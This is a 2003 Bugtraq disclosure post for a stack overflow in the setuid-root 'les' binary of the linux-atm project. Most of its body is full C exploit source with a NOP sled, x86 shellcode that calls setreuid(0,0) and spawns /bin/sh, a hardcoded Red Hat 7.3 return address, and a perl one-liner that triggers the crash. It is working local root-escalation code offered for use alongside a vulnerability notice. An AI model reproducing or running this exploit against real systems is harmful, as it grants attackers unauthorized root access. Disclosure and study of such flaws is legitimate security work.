ATM on Linux Exploit Code Release (les, local)

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Date: 28 Apr 2003 14:20:00 -0000
To: bugtraq@securityfocus.com

ATM on Linux Exploit Code Release (les, local) by Angelo Rosiello

Copyright (c) 2003 DTORS Security
All rights reserved.
http://dtors.net

I. SUMMARY
ATM support for Linux is currently in pre-alpha stage. There is an
experimental release, which supports raw ATM connections (PVCs and SVCs),
IP over ATM, LAN emulation, MPOA, Arequipa, and some other goodies.
A vulnerability in the product allows local attackers to cause it to
execute arbitrary code, as it setuid root, a local attacker can gain
elevated privileges.

II. PATCHES
The Admin of the project was contacted and informed.
The patch will be out as soon as possible.
To contact the author mail to: chas@locutus.cmf.nrl.navy.mil

III. DETAILS & EXPLOIT

/*
*** Exploit against the linux-atm project
***
*** http://sourceforge.net/projects/linux-atm
***************************************************************
*** VULNERABILITY
***
*** Stack Overflow discovered by Angelo Rosiello
*** /usr/local/sbin/les -f `perl -e 'print "A"x252'`
*** Program received signal SIGSEGV, Segmentation fault.
*** 0x41414141 in ?? ()
****************************************************************
*** AUTHOR: Angelo Rosiello
*** CONTACT: angelo@dtors.net, rosiello.angelo@virgilio.it
*** guilecool@usa.com
***
*** Copyright (c) 2003 DTORS Security
*** All rights reserved.
*** http://dtors.net
***
*** SHELLCODE by esDee
***
*** 18/02/2003
***
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define NOP 0x90 // No operation instruction
#define LEN 252 // Our buffer size

void usage();

static char shellcode[] =

        // setreuid(0,0);
        "\x31\xc0" // xor %eax,%eax
        "\x31\xdb" // xor %ebx,%ebx
        "\x31\xc9" // xor %ecx,%ecx
        "\xb0\x46" // mov $0x46,%al
        "\xcd\x80" // int $0x80

        // execve /bin/sh
        "\x31\xc0" // xor %eax,%eax
        "\x50" // push %eax
        "\x68\x2f\x2f\x73\x68" // push $0x68732f2f
        "\x68\x2f\x62\x69\x6e" // push $0x6e69622f
        "\x89\xe3" // mov %esp,%ebx
        "\x8d\x54\x24\x08" // lea 0x8(%esp,1),%edx
        "\x50" // push %eax
        "\x53" // push %ebx
        "\x8d\x0c\x24" // lea (%esp,1),%ecx
        "\xb0\x0b" // mov $0xb,%al
        "\xcd\x80" // int $0x80

        // exit();
        "\x31\xc0" // xor %eax,%eax
        "\xb0\x01" // mov $0x1,%al
        "\xcd\x80"; // int $0x80

struct
{
  int number;
  char *version;
  long ret;
  char path[256];
} target[] =
{
  {1," Red Hat Linux release 7.3 (Valhalla)",
0xbffff860, "/usr/local/sbin/les"},
  {2," No defined", 0xffffffff , "/usr/local/sbin/les"},
};

main(int argc, char *argv[])
{
        char buffer[LEN];
        int i;
        long ret;
        char *PATH;
        int selection;
        if(argc == 1)
        {
                usage((char **)argv[0]);
                exit(1);
        }
        selection = atoi(argv[2]);

        printf("Ret = 0x%lx and PATH= %s\n", target[selection-1].ret,
(char **)target[selection-1].path);
        printf("\nCopyright (c) 2003 DTORS Security\n");
        printf("ANGELO ROSIELLO 18/02/2003\n");
        printf("\tLES-EXPLOIT for Linux x86\n\n");

        ret = target[selection-1].ret;
        PATH = target[selection-1].path;
        // Build the overflow string.
        for (i = 0; i < LEN; i += 4) *(long *) &buffer[i] = ret;

        // copy NOP
        for (i=0; i<(LEN-strlen(shellcode)-25);i++) *(buffer+i) = NOP;

        // Copy the shellcode into the buffer.
        memcpy(buffer+i,shellcode,strlen(shellcode));

        // Execute the program
        execl(PATH, "les", "-f", buffer, NULL);
}

void usage(char *argv[])
{
        int i = 0;
        printf("\nUsage:\n%s -t [target number]\n\nTargets\n",*(char **)
&argv);
        while(target[i].number)
        {
                printf("[%d] %s \n", target[i].number, target[i].version);
                i++;
        }
}

IV. CREDIT
Angelo Rosiello discovered this vulnerability exploiting it.
Contact: rosiello.angelo@virgilio.it, angelo@dtors.net, guilecool@usa.com
Any test was done in the "Politecnico di Milano" University (Italy).

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